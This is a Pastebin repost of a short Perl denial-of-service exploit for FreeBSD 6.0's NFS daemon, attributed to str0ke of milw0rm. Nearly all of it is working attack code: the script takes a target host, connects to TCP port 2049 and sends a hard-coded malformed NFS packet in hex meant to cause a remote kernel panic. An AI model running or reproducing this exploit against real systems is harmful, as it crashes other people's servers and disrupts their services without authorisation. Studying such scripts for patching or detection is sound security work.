Tr3v0r

[BSD] FreeBSD 6.0 (nfsd) Remote Kernel Panic

Sep 9th, 2014
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.32 KB | None | 0 0
  1. ================================================================
  2. FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit
  3. ================================================================
  4.  
  5.  
  6. #!/usr/bin/perl
  7. ## Saw an advisory on Dailydave and wrote a little script to
  8. ## check my freebsd boxes (kind of evil). /str0ke (milw0rm.com)
  9. ##
  10. ## ProtoVer NFS testsuite 1.0 uncovered remote kernel panic vulnerability in FreeBSD 6.0 kernel.
  11. ## Evgeny Legerov
  12. ## www.gleg.net
  13.  
  14. use IO::Socket;
  15.  
  16. sub usage
  17. {
  18. print "FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit\n";
  19. print "Advisory from Evgeny Legerov (www.gleg.net)\n";
  20. print "Code by str0ke (milw0rm.com)\n";
  21. print "Usage: $0 www.example.com\n";
  22. exit ();
  23. }
  24.  
  25. my $host = shift || &usage;
  26.  
  27. my $printer = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" .
  28. "\x00\x00\x00\x02\x00\x01\x86\xa5\x00\x00\x00\x01" .
  29. "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" .
  30. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04" .
  31. "\x2f\x74\x6d\x70";
  32.  
  33. $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "2049") || die "\n+ Connection failed...\n";
  34. print $socket $printer . "\n";
  35.  
  36.  
  37.  
  38. # 9FB992672D145F7F 1337day.com [2014-09-09] 4B130D361A186F67 #
Add Comment
Please, Sign In to add comment